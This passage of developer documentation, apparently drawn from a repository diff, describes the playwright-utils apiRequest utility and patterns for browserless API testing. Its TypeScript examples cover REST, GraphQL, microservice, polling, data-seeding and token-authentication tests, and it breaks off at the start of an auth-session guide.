path: '/users',
baseUrl: 'https://api.example.com', // Uses https://api.example.com/users
});
// Strategy 2: Config baseURL (from fixture)
import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
test.use({ configBaseUrl: 'https://staging-api.example.com' });
test('uses config baseURL', async ({ apiRequest }) => {
await apiRequest({
method: 'GET',
path: '/users', // Uses https://staging-api.example.com/users
});
});
// Strategy 3: Playwright baseURL (from playwright.config.ts)
// playwright.config.ts
export default defineConfig({
use: {
baseURL: 'https://api.example.com',
},
});
test('uses Playwright baseURL', async ({ apiRequest }) => {
await apiRequest({
method: 'GET',
path: '/users', // Uses https://api.example.com/users
});
});
// Strategy 4: Direct path (full URL)
await apiRequest({
method: 'GET',
path: 'https://api.example.com/users', // Full URL works too
});
```
**Key Points**:
- Four-tier resolution: explicit > config > Playwright > direct
- Trailing slashes normalized automatically
- Environment-specific baseUrl easy to configure
### Example 5: Integration with Recurse (Polling)
**Context**: Waiting for async operations to complete (background jobs, eventual consistency).
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/fixtures';
test('should poll until job completes', async ({ apiRequest, recurse }) => {
// Create job
const { body } = await apiRequest({
method: 'POST',
path: '/api/jobs',
body: { type: 'export' },
});
const jobId = body.id;
// Poll until ready
const completedJob = await recurse(
() => apiRequest({ method: 'GET', path: `/api/jobs/${jobId}` }),
(response) => response.body.status === 'completed',
{ timeout: 60000, interval: 2000 },
);
expect(completedJob.body.result).toBeDefined();
});
```
**Key Points**:
- `apiRequest` returns full response object
- `recurse` polls until predicate returns true
- Composable utilities work together seamlessly
### Example 6: Microservice Testing (Multiple Services)
**Context**: Test interactions between microservices without a browser.
**Implementation**:
```typescript
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
const USER_SERVICE = process.env.USER_SERVICE_URL || 'http://localhost:3001';
const ORDER_SERVICE = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
test.describe('Microservice Integration', () => {
test('should validate cross-service user lookup', async ({ apiRequest }) => {
// Create user in user-service
const { body: user } = await apiRequest({
method: 'POST',
path: '/api/users',
baseUrl: USER_SERVICE,
body: { name: 'Test User', email: 'test@example.com' },
});
// Create order in order-service (validates user via user-service)
const { status, body: order } = await apiRequest({
method: 'POST',
path: '/api/orders',
baseUrl: ORDER_SERVICE,
body: {
userId: user.id,
items: [{ productId: 'prod-1', quantity: 2 }],
},
});
expect(status).toBe(201);
expect(order.userId).toBe(user.id);
});
test('should reject order for invalid user', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'POST',
path: '/api/orders',
baseUrl: ORDER_SERVICE,
body: {
userId: 'non-existent-user',
items: [{ productId: 'prod-1', quantity: 1 }],
},
});
expect(status).toBe(400);
expect(body.code).toBe('INVALID_USER');
});
});
```
**Key Points**:
- Test multiple services without browser
- Use `baseUrl` to target different services
- Validate cross-service communication
- Pure API testing - fast and reliable
### Example 7: GraphQL API Testing
**Context**: Test GraphQL endpoints with queries and mutations.
**Implementation**:
```typescript
test.describe('GraphQL API', () => {
const GRAPHQL_ENDPOINT = '/graphql';
test('should query users via GraphQL', async ({ apiRequest }) => {
const query = `
query GetUsers($limit: Int) {
users(limit: $limit) {
id
name
email
}
}
`;
const { status, body } = await apiRequest({
method: 'POST',
path: GRAPHQL_ENDPOINT,
body: {
query,
variables: { limit: 10 },
},
});
expect(status).toBe(200);
expect(body.errors).toBeUndefined();
expect(body.data.users).toHaveLength(10);
});
test('should create user via mutation', async ({ apiRequest }) => {
const mutation = `
mutation CreateUser($input: CreateUserInput!) {
createUser(input: $input) {
id
name
}
}
`;
const { status, body } = await apiRequest({
method: 'POST',
path: GRAPHQL_ENDPOINT,
body: {
query: mutation,
variables: {
input: { name: 'GraphQL User', email: 'gql@example.com' },
},
},
});
expect(status).toBe(200);
expect(body.data.createUser.id).toBeDefined();
});
});
```
**Key Points**:
- GraphQL via POST request
- Variables in request body
- Check `body.errors` for GraphQL errors (not status code)
- Works for queries and mutations
### Example 8: Operation-Based Overload (OpenAPI / Code Generators)
**Context**: When using a code generator (orval, openapi-generator, custom scripts) that produces typed operation definitions from an OpenAPI spec, pass the operation object directly to `apiRequest`. This eliminates manual `method`/`path` extraction and `typeof` assertions while preserving full type inference for request body, response, and query parameters. Available since v3.14.0.
**Implementation**:
```typescript
// Generated operation definition — structural typing, no import from playwright-utils needed
// type OperationShape = { path: string; method: 'POST'|'GET'|'PUT'|'DELETE'|'PATCH'|'HEAD'; response: unknown; request: unknown; query?: unknown }
import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
// --- Basic usage: operation replaces method + path ---
test('should upsert person via operation overload', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
operation: upsertPersonv2({ customerId }),
headers: getHeaders(customerId),
body: personInput, // compile-time typed as Schemas.PersonInput
});
expect(status).toBe(200);
expect(body.id).toBeDefined(); // body typed as Schemas.Person
});
// --- Typed query parameters (replaces string concatenation) ---
test('should list people with typed query', async ({ apiRequest }) => {
const { body } = await apiRequest({
operation: getPeoplev2({ customerId }),
headers: getHeaders(customerId),
query: { page: 0, page_size: 5 }, // typed from operation's query definition
});
expect(body.items).toHaveLength(5);
});
// --- Params escape hatch (pre-formatted query strings) ---
test('should fetch billing history with raw params', async ({ apiRequest }) => {
const { body } = await apiRequest({
operation: getBillingHistoryv2({ customerId }),
headers: getHeaders(customerId),
params: {
'filters[start_date]': getThisMonthTimestamp(),
'filters[date_type]': 'MONTH',
},
});
expect(body.entries.length).toBeGreaterThan(0);
});
// --- Works with recurse (polling) ---
test('should poll until person is reviewed', async ({ apiRequest, recurse }) => {
await recurse(
async () =>
apiRequest({
operation: getPersonv2({ customerId, hash }),
headers: getHeaders(customerId),
}),
(res) => {
expect(res.status).toBe(200);
expect(res.body.status).toBe('REVIEWED');
},
{ timeout: 30000, interval: 1000 },
);
});
// --- Schema validation chains work identically ---
test('should create movie with schema validation', async ({ apiRequest }) => {
const { body } = await apiRequest({
operation: createMovieOp,
headers: commonHeaders(authToken),
body: movie,
}).validateSchema(CreateMovieResponseSchema, {
shape: { status: 200, data: { name: movie.name } },
});
expect(body.data.id).toBeDefined();
});
```
**Key Points**:
- Pass `operation` instead of `method` + `path` — mutually exclusive at compile time
- Response body, request body, and query types inferred from operation definition
- Uses structural typing (duck typing) — works with any code generator producing `{ path, method, response, request, query? }`
- `query` field auto-serializes to bracket notation (`filters[type]=pep`, `ids[0]=10`)
- `params` escape hatch for pre-formatted strings — wins over `query` on conflict
- Fully composable with `recurse`, `validateSchema`, and all existing features
- `response`/`request`/`query` on the operation are type-level only — runtime never reads their values
## Comparison with Vanilla Playwright
| Vanilla Playwright | playwright-utils apiRequest |
| ---------------------------------------------- | ---------------------------------------------------------------------------------- |
| `const resp = await request.get('/api/users')` | `const { status, body } = await apiRequest({ method: 'GET', path: '/api/users' })` |
| `const body = await resp.json()` | Response already parsed |
| `expect(resp.ok()).toBeTruthy()` | Status code directly accessible |
| No retry logic | Auto-retry 5xx errors with backoff |
| No schema validation | Built-in multi-format validation |
| Manual error handling | Descriptive error messages |
## When to Use
**Use apiRequest for:**
- ✅ Pure API/service testing (no browser needed)
- ✅ Microservice integration testing
- ✅ GraphQL API testing
- ✅ Schema validation needs
- ✅ Tests requiring retry logic
- ✅ Background API calls in UI tests
- ✅ Contract testing support
- ✅ Type-safe API testing with OpenAPI-generated operations (v3.14.0+)
**Stick with vanilla Playwright for:**
- Simple one-off requests where utility overhead isn't worth it
- Testing Playwright's native features specifically
- Legacy tests where migration isn't justified
## Related Fragments
- `api-testing-patterns.md` - Comprehensive pure API testing patterns
- `overview.md` - Installation and design principles
- `auth-session.md` - Authentication token management
- `recurse.md` - Polling for async operations
- `fixtures-composition.md` - Combining utilities with mergeTests
- `log.md` - Logging API requests
- `contract-testing.md` - Pact contract testing
## Anti-Patterns
**❌ Ignoring retry failures:**
```typescript
try {
await apiRequest({ method: 'GET', path: '/api/unstable' });
} catch {
// Silent failure - loses retry information
}
```
**✅ Let retries happen, handle final failure:**
```typescript
await expect(apiRequest({ method: 'GET', path: '/api/unstable' })).rejects.toThrow(); // Retries happen automatically, then final error caught
```
**❌ Disabling TypeScript benefits:**
```typescript
const response: any = await apiRequest({ method: 'GET', path: '/users' });
```
**✅ Use generic types:**
```typescript
const { body } = await apiRequest<User[]>({ method: 'GET', path: '/users' });
// body is typed as User[]
```
**❌ Mixing operation overload with explicit generics:**
```typescript
// Don't pass a generic when using operation — types are inferred from the operation
const { body } = await apiRequest<MyType>({
operation: getPersonv2({ customerId }),
headers: getHeaders(customerId),
});
```
**✅ Let the operation infer the types:**
```typescript
const { body } = await apiRequest({
operation: getPersonv2({ customerId }),
headers: getHeaders(customerId),
});
// body type inferred from operation.response
```
**❌ Mixing operation with method/path:**
```typescript
// Compile error — operation and method/path are mutually exclusive
await apiRequest({
operation: getPersonv2({ customerId }),
method: 'GET', // Error: method?: never
path: '/api/person', // Error: path?: never
});
```

View File

@@ -0,0 +1,915 @@
# API Testing Patterns
## Principle
Test APIs and backend services directly without browser overhead. Use Playwright's `request` context for HTTP operations, `apiRequest` utility for enhanced features, and `recurse` for async operations. Pure API tests run faster, are more stable, and provide better coverage for service-layer logic.
## Rationale
Many teams over-rely on E2E/browser tests when API tests would be more appropriate:
- **Slower feedback**: Browser tests take seconds, API tests take milliseconds
- **More brittle**: UI changes break tests even when API works correctly
- **Wrong abstraction**: Testing business logic through UI layers adds noise
- **Resource heavy**: Browsers consume memory and CPU
API-first testing provides:
- **Fast execution**: No browser startup, no rendering, no JavaScript execution
- **Direct validation**: Test exactly what the service returns
- **Better isolation**: Test service logic independent of UI
- **Easier debugging**: Clear request/response without DOM noise
- **Contract validation**: Verify API contracts explicitly
## When to Use API Tests vs E2E Tests
| Scenario | API Test | E2E Test |
| ------------------------- | ------------- | ------------- |
| CRUD operations | ✅ Primary | ❌ Overkill |
| Business logic validation | ✅ Primary | ❌ Overkill |
| Error handling (4xx, 5xx) | ✅ Primary | ⚠️ Supplement |
| Authentication flows | ✅ Primary | ⚠️ Supplement |
| Data transformation | ✅ Primary | ❌ Overkill |
| User journeys | ❌ Can't test | ✅ Primary |
| Visual regression | ❌ Can't test | ✅ Primary |
| Cross-browser issues | ❌ Can't test | ✅ Primary |
**Rule of thumb**: If you're testing what the server returns (not how it looks), use API tests.
## Pattern Examples
### Example 1: Pure API Test (No Browser)
**Context**: Test REST API endpoints directly without any browser context.
**Implementation**:
```typescript
// tests/api/users.spec.ts
import { test, expect } from '@playwright/test';
// No page, no browser - just API
test.describe('Users API', () => {
test('should create user', async ({ request }) => {
const response = await request.post('/api/users', {
data: {
name: 'John Doe',
email: 'john@example.com',
role: 'user',
},
});
expect(response.status()).toBe(201);
const user = await response.json();
expect(user.id).toBeDefined();
expect(user.name).toBe('John Doe');
expect(user.email).toBe('john@example.com');
});
test('should get user by ID', async ({ request }) => {
// Create user first
const createResponse = await request.post('/api/users', {
data: { name: 'Jane Doe', email: 'jane@example.com' },
});
const { id } = await createResponse.json();
// Get user
const getResponse = await request.get(`/api/users/${id}`);
expect(getResponse.status()).toBe(200);
const user = await getResponse.json();
expect(user.id).toBe(id);
expect(user.name).toBe('Jane Doe');
});
test('should return 404 for non-existent user', async ({ request }) => {
const response = await request.get('/api/users/non-existent-id');
expect(response.status()).toBe(404);
const error = await response.json();
expect(error.code).toBe('USER_NOT_FOUND');
});
test('should validate required fields', async ({ request }) => {
const response = await request.post('/api/users', {
data: { name: 'Missing Email' }, // email is required
});
expect(response.status()).toBe(400);
const error = await response.json();
expect(error.code).toBe('VALIDATION_ERROR');
expect(error.details).toContainEqual(expect.objectContaining({ field: 'email', message: expect.any(String) }));
});
});
```
**Key Points**:
- No `page` fixture needed - only `request`
- Tests run without browser overhead
- Direct HTTP assertions
- Clear error handling tests
### Example 2: API Test with apiRequest Utility
**Context**: Use enhanced apiRequest for schema validation, retry, and type safety.
**Implementation**:
```typescript
// tests/api/orders.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
import { z } from 'zod';
// Define schema for type safety and validation
const OrderSchema = z.object({
id: z.string().uuid(),
userId: z.string(),
items: z.array(
z.object({
productId: z.string(),
quantity: z.number().positive(),
price: z.number().positive(),
}),
),
total: z.number().positive(),
status: z.enum(['pending', 'processing', 'shipped', 'delivered']),
createdAt: z.string().datetime(),
});
type Order = z.infer<typeof OrderSchema>;
test.describe('Orders API', () => {
test('should create order with schema validation', async ({ apiRequest }) => {
const { status, body } = await apiRequest<Order>({
method: 'POST',
path: '/api/orders',
body: {
userId: 'user-123',
items: [
{ productId: 'prod-1', quantity: 2, price: 29.99 },
{ productId: 'prod-2', quantity: 1, price: 49.99 },
],
},
validateSchema: OrderSchema, // Validates response matches schema
});
expect(status).toBe(201);
expect(body.id).toBeDefined();
expect(body.status).toBe('pending');
expect(body.total).toBe(109.97); // 2*29.99 + 49.99
});
test('should handle server errors with retry', async ({ apiRequest }) => {
// apiRequest retries 5xx errors by default
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/orders/order-123',
retryConfig: {
maxRetries: 3,
retryDelay: 1000,
},
});
expect(status).toBe(200);
});
test('should list orders with pagination', async ({ apiRequest }) => {
const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
method: 'GET',
path: '/api/orders',
params: { page: 1, limit: 10, status: 'pending' },
});
expect(status).toBe(200);
expect(body.orders).toHaveLength(10);
expect(body.total).toBeGreaterThan(10);
expect(body.page).toBe(1);
});
});
```
**Key Points**:
- Zod schema for runtime validation AND TypeScript types
- `validateSchema` throws if response doesn't match
- Built-in retry for transient failures
- Type-safe `body` access
- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
### Example 3: Microservice-to-Microservice Testing
**Context**: Test service interactions without browser - validate API contracts between services.
**Implementation**:
```typescript
// tests/api/service-integration.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
test.describe('Service Integration', () => {
const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
test('order service should validate user exists', async ({ apiRequest }) => {
// Create user in user-service
const { body: user } = await apiRequest({
method: 'POST',
path: '/api/users',
baseUrl: USER_SERVICE_URL,
body: { name: 'Test User', email: 'test@example.com' },
});
// Create order in order-service (should validate user via user-service)
const { status, body: order } = await apiRequest({
method: 'POST',
path: '/api/orders',
baseUrl: ORDER_SERVICE_URL,
body: {
userId: user.id,
items: [{ productId: 'prod-1', quantity: 1 }],
},
});
expect(status).toBe(201);
expect(order.userId).toBe(user.id);
});
test('order service should reject invalid user', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'POST',
path: '/api/orders',
baseUrl: ORDER_SERVICE_URL,
body: {
userId: 'non-existent-user',
items: [{ productId: 'prod-1', quantity: 1 }],
},
});
expect(status).toBe(400);
expect(body.code).toBe('INVALID_USER');
});
test('order should decrease inventory', async ({ apiRequest, recurse }) => {
// Get initial inventory
const { body: initialInventory } = await apiRequest({
method: 'GET',
path: '/api/inventory/prod-1',
baseUrl: INVENTORY_SERVICE_URL,
});
// Create order
await apiRequest({
method: 'POST',
path: '/api/orders',
baseUrl: ORDER_SERVICE_URL,
body: {
userId: 'user-123',
items: [{ productId: 'prod-1', quantity: 2 }],
},
});
// Poll for inventory update (eventual consistency)
const { body: updatedInventory } = await recurse(
() =>
apiRequest({
method: 'GET',
path: '/api/inventory/prod-1',
baseUrl: INVENTORY_SERVICE_URL,
}),
(response) => response.body.quantity === initialInventory.quantity - 2,
{ timeout: 10000, interval: 500 },
);
expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
});
});
```
**Key Points**:
- Multiple service URLs for microservice testing
- Tests service-to-service communication
- Uses `recurse` for eventual consistency
- No browser needed for full integration testing
### Example 4: GraphQL API Testing
**Context**: Test GraphQL endpoints with queries and mutations.
**Implementation**:
```typescript
// tests/api/graphql.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
const GRAPHQL_ENDPOINT = '/graphql';
test.describe('GraphQL API', () => {
test('should query users', async ({ apiRequest }) => {
const query = `
query GetUsers($limit: Int) {
users(limit: $limit) {
id
name
email
role
}
}
`;
const { status, body } = await apiRequest({
method: 'POST',
path: GRAPHQL_ENDPOINT,
body: {
query,
variables: { limit: 10 },
},
});
expect(status).toBe(200);
expect(body.errors).toBeUndefined();
expect(body.data.users).toHaveLength(10);
expect(body.data.users[0]).toHaveProperty('id');
expect(body.data.users[0]).toHaveProperty('name');
});
test('should create user via mutation', async ({ apiRequest }) => {
const mutation = `
mutation CreateUser($input: CreateUserInput!) {
createUser(input: $input) {
id
name
email
}
}
`;
const { status, body } = await apiRequest({
method: 'POST',
path: GRAPHQL_ENDPOINT,
body: {
query: mutation,
variables: {
input: {
name: 'GraphQL User',
email: 'graphql@example.com',
},
},
},
});
expect(status).toBe(200);
expect(body.errors).toBeUndefined();
expect(body.data.createUser.id).toBeDefined();
expect(body.data.createUser.name).toBe('GraphQL User');
});
test('should handle GraphQL errors', async ({ apiRequest }) => {
const query = `
query GetUser($id: ID!) {
user(id: $id) {
id
name
}
}
`;
const { status, body } = await apiRequest({
method: 'POST',
path: GRAPHQL_ENDPOINT,
body: {
query,
variables: { id: 'non-existent' },
},
});
expect(status).toBe(200); // GraphQL returns 200 even for errors
expect(body.errors).toBeDefined();
expect(body.errors[0].message).toContain('not found');
expect(body.data.user).toBeNull();
});
test('should handle validation errors', async ({ apiRequest }) => {
const mutation = `
mutation CreateUser($input: CreateUserInput!) {
createUser(input: $input) {
id
}
}
`;
const { status, body } = await apiRequest({
method: 'POST',
path: GRAPHQL_ENDPOINT,
body: {
query: mutation,
variables: {
input: {
name: '', // Invalid: empty name
email: 'invalid-email', // Invalid: bad format
},
},
},
});
expect(status).toBe(200);
expect(body.errors).toBeDefined();
expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
});
});
```
**Key Points**:
- GraphQL queries and mutations via POST
- Variables passed in request body
- GraphQL returns 200 even for errors (check `body.errors`)
- Test validation and business logic errors
### Example 5: Database Seeding and Cleanup via API
**Context**: Use API calls to set up and tear down test data without direct database access.
**Implementation**:
```typescript
// tests/api/with-data-setup.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
test.describe('Orders with Data Setup', () => {
let testUser: { id: string; email: string };
let testProducts: Array<{ id: string; name: string; price: number }>;
test.beforeAll(async ({ request }) => {
// Seed user via API
const userResponse = await request.post('/api/users', {
data: {
name: 'Test User',
email: `test-${Date.now()}@example.com`,
},
});
testUser = await userResponse.json();
// Seed products via API
testProducts = [];
for (const product of [
{ name: 'Widget A', price: 29.99 },
{ name: 'Widget B', price: 49.99 },
{ name: 'Widget C', price: 99.99 },
]) {
const productResponse = await request.post('/api/products', {
data: product,
});
testProducts.push(await productResponse.json());
}
});
test.afterAll(async ({ request }) => {
// Cleanup via API
if (testUser?.id) {
await request.delete(`/api/users/${testUser.id}`);
}
for (const product of testProducts) {
await request.delete(`/api/products/${product.id}`);
}
});
test('should create order with seeded data', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'POST',
path: '/api/orders',
body: {
userId: testUser.id,
items: [
{ productId: testProducts[0].id, quantity: 2 },
{ productId: testProducts[1].id, quantity: 1 },
],
},
});
expect(status).toBe(201);
expect(body.userId).toBe(testUser.id);
expect(body.items).toHaveLength(2);
expect(body.total).toBe(2 * 29.99 + 49.99);
});
test('should list user orders', async ({ apiRequest }) => {
// Create an order first
await apiRequest({
method: 'POST',
path: '/api/orders',
body: {
userId: testUser.id,
items: [{ productId: testProducts[2].id, quantity: 1 }],
},
});
// List orders for user
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/orders',
params: { userId: testUser.id },
});
expect(status).toBe(200);
expect(body.orders.length).toBeGreaterThanOrEqual(1);
expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
});
});
```
**Key Points**:
- `beforeAll`/`afterAll` for test data setup/cleanup
- API-based seeding (no direct DB access needed)
- Unique emails to prevent conflicts in parallel runs
- Cleanup after all tests complete
### Example 6: Background Job Testing with Recurse
**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
**Implementation**:
```typescript
// tests/api/background-jobs.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
test.describe('Background Jobs', () => {
test('should process export job', async ({ apiRequest, recurse }) => {
// Trigger export job
const { body: job } = await apiRequest({
method: 'POST',
path: '/api/exports',
body: {
type: 'users',
format: 'csv',
filters: { createdAfter: '2024-01-01' },
},
});
expect(job.id).toBeDefined();
expect(job.status).toBe('pending');
// Poll until job completes
const { body: completedJob } = await recurse(
() => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
(response) => response.body.status === 'completed',
{
timeout: 60000,
interval: 2000,
log: `Waiting for export job ${job.id} to complete`,
},
);
expect(completedJob.status).toBe('completed');
expect(completedJob.downloadUrl).toBeDefined();
expect(completedJob.recordCount).toBeGreaterThan(0);
});
test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
// Trigger job that will fail
const { body: job } = await apiRequest({
method: 'POST',
path: '/api/exports',
body: {
type: 'invalid-type', // This will cause failure
format: 'csv',
},
});
// Poll until job fails
const { body: failedJob } = await recurse(
() => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
(response) => ['completed', 'failed'].includes(response.body.status),
{ timeout: 30000 },
);
expect(failedJob.status).toBe('failed');
expect(failedJob.error).toBeDefined();
expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
});
test('should process webhook delivery', async ({ apiRequest, recurse }) => {
// Trigger action that sends webhook
const { body: order } = await apiRequest({
method: 'POST',
path: '/api/orders',
body: {
userId: 'user-123',
items: [{ productId: 'prod-1', quantity: 1 }],
webhookUrl: 'https://webhook.site/test-endpoint',
},
});
// Poll for webhook delivery status
const { body: webhookStatus } = await recurse(
() => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
(response) => response.body.delivered === true,
{ timeout: 30000, interval: 1000 },
);
expect(webhookStatus.delivered).toBe(true);
expect(webhookStatus.deliveredAt).toBeDefined();
expect(webhookStatus.responseStatus).toBe(200);
});
});
```
**Key Points**:
- `recurse` for polling async operations
- Test both success and failure scenarios
- Configurable timeout and interval
- Log messages for debugging
### Example 7: Service Authentication (No Browser)
**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
**Implementation**:
```typescript
// tests/api/authenticated.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
test.describe('Authenticated API Tests', () => {
let authToken: string;
test.beforeAll(async ({ request }) => {
// Get token via API (no browser!)
const response = await request.post('/api/auth/login', {
data: {
email: process.env.TEST_USER_EMAIL,
password: process.env.TEST_USER_PASSWORD,
},
});
const { token } = await response.json();
authToken = token;
});
test('should access protected endpoint with token', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/me',
headers: {
Authorization: `Bearer ${authToken}`,
},
});
expect(status).toBe(200);
expect(body.email).toBe(process.env.TEST_USER_EMAIL);
});
test('should reject request without token', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/me',
// No Authorization header
});
expect(status).toBe(401);
expect(body.code).toBe('UNAUTHORIZED');
});
test('should reject expired token', async ({ apiRequest }) => {
const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
const { status, body } = await apiRequest({
method: 'GET',
path: '/api/me',
headers: {
Authorization: `Bearer ${expiredToken}`,
},
});
expect(status).toBe(401);
expect(body.code).toBe('TOKEN_EXPIRED');
});
test('should handle role-based access', async ({ apiRequest }) => {
// User token (non-admin)
const { status } = await apiRequest({
method: 'GET',
path: '/api/admin/users',
headers: {
Authorization: `Bearer ${authToken}`,
},
});
expect(status).toBe(403); // Forbidden for non-admin
});
});
```
**Key Points**:
- Token obtained via API login (no browser)
- Token reused across all tests in describe block
- Test auth, expired tokens, and RBAC
- Pure API testing without UI
### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
**Implementation**:
```typescript
// tests/api/operations.spec.ts
import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
test.describe('API Tests with Generated Operations', () => {
test('should create entity with full type safety', async ({ apiRequest }) => {
// Operation object from code generator — contains path, method, and type info
const { status, body } = await apiRequest({
operation: createEntityOp({ workspaceId }),
headers: getHeaders(workspaceId),
body: entityInput, // Compile-time typed from operation.request
});
expect(status).toBe(201);
expect(body.id).toBeDefined(); // body typed from operation.response
});
test('should list with typed query parameters', async ({ apiRequest }) => {
// query field replaces manual string concatenation
const { body } = await apiRequest({
operation: listEntitiesOp({ workspaceId }),
headers: getHeaders(workspaceId),
query: { page: 0, page_size: 10, status: 'active' },
});
expect(body.items).toHaveLength(10);
expect(body.total).toBeGreaterThan(10);
});
test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
const { body: job } = await apiRequest({
operation: startJobOp({ workspaceId }),
headers: getHeaders(workspaceId),
body: { type: 'export' },
});
await recurse(
async () =>
apiRequest({
operation: getJobOp({ workspaceId, jobId: job.id }),
headers: getHeaders(workspaceId),
}),
(res) => res.body.status === 'completed',
{ timeout: 60000, interval: 2000 },
);
});
});
```
**Key Points**:
- `operation` replaces `method` + `path` — mutually exclusive at compile time
- Types for body, response, and query all inferred from the operation definition
- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
- Preferred approach over `typeof operation.response` for generated operations
## API Test Configuration
### Playwright Config for API-Only Tests
```typescript
// playwright.config.ts
import { defineConfig } from '@playwright/test';
export default defineConfig({
testDir: './tests/api',
// No browser needed for API tests
use: {
baseURL: process.env.API_URL || 'http://localhost:3000',
extraHTTPHeaders: {
Accept: 'application/json',
'Content-Type': 'application/json',
},
},
// Faster without browser overhead
timeout: 30000,
// Run API tests in parallel
workers: 4,
fullyParallel: true,
// No screenshots/traces needed for API tests
reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
});
```
### Separate API Test Project
```typescript
// playwright.config.ts
export default defineConfig({
projects: [
{
name: 'api',
testDir: './tests/api',
use: {
baseURL: process.env.API_URL,
},
},
{
name: 'e2e',
testDir: './tests/e2e',
use: {
baseURL: process.env.APP_URL,
...devices['Desktop Chrome'],
},
},
],
});
```
## Comparison: API Tests vs E2E Tests
| Aspect | API Test | E2E Test |
| ------------------- | ---------------------- | --------------------------- |
| **Speed** | ~50-100ms per test | ~2-10s per test |
| **Stability** | Very stable | More flaky (UI timing) |
| **Setup** | Minimal | Browser, context, page |
| **Debugging** | Clear request/response | DOM, screenshots, traces |
| **Coverage** | Service logic | User experience |
| **Parallelization** | Easy (stateless) | Complex (browser resources) |
| **CI Cost** | Low (no browser) | High (browser containers) |
## Related Fragments
- `api-request.md` - apiRequest utility details
- `recurse.md` - Polling patterns for async operations
- `auth-session.md` - Token management
- `contract-testing.md` - Pact contract testing
- `test-levels-framework.md` - When to use which test level
- `data-factories.md` - Test data setup patterns
## Anti-Patterns
**DON'T use E2E for API validation:**
```typescript
// Bad: Testing API through UI
test('validate user creation', async ({ page }) => {
await page.goto('/admin/users');
await page.fill('#name', 'John');
await page.click('#submit');
await expect(page.getByText('User created')).toBeVisible();
});
```
**DO test APIs directly:**
```typescript
// Good: Direct API test
test('validate user creation', async ({ apiRequest }) => {
const { status, body } = await apiRequest({
method: 'POST',
path: '/api/users',
body: { name: 'John' },
});
expect(status).toBe(201);
expect(body.id).toBeDefined();
});
```
**DON'T ignore API tests because "E2E covers it":**
```typescript
// Bad thinking: "Our E2E tests create users, so API is tested"
// Reality: E2E tests one happy path; API tests cover edge cases
```
**DO have dedicated API test coverage:**
```typescript
// Good: Explicit API test suite
test.describe('Users API', () => {
test('creates user', async ({ apiRequest }) => {
/* ... */
});
test('handles duplicate email', async ({ apiRequest }) => {
/* ... */
});
test('validates required fields', async ({ apiRequest }) => {
/* ... */
});
test('handles malformed JSON', async ({ apiRequest }) => {
/* ... */
});
test('rate limits requests', async ({ apiRequest }) => {
/* ... */
});
});
```

View File

@@ -0,0 +1,548 @@
# Auth Session Utility
## Principle
Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
## Rationale
Playwright's built-in authentication works but has limitations:
- Re-authenticates for every test run (slow)
- Single user per project setup
- No token expiration handling
- Manual session management
- Complex setup for multi-user scenarios
The `auth-session` utility provides:
- **Token persistence**: Authenticate once, reuse across runs
- **Multi-user support**: Different user identifiers in same test suite
- **Ephemeral auth**: On-the-fly user authentication without disk persistence
- **Worker-specific accounts**: Parallel execution with isolated user accounts
- **Automatic token management**: Checks validity, renews if expired
- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
- **API-first design**: Get tokens for API tests without browser overhead
## Pattern Examples
### Example 1: Basic Auth Session Setup
**Context**: Configure global authentication that persists across test runs.
**Implementation**:
```typescript
// Step 1: Configure in global-setup.ts
import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
import myCustomProvider from './auth/custom-auth-provider';
async function globalSetup() {
// Ensure storage directories exist
authStorageInit();
// Configure storage path
configureAuthSession({
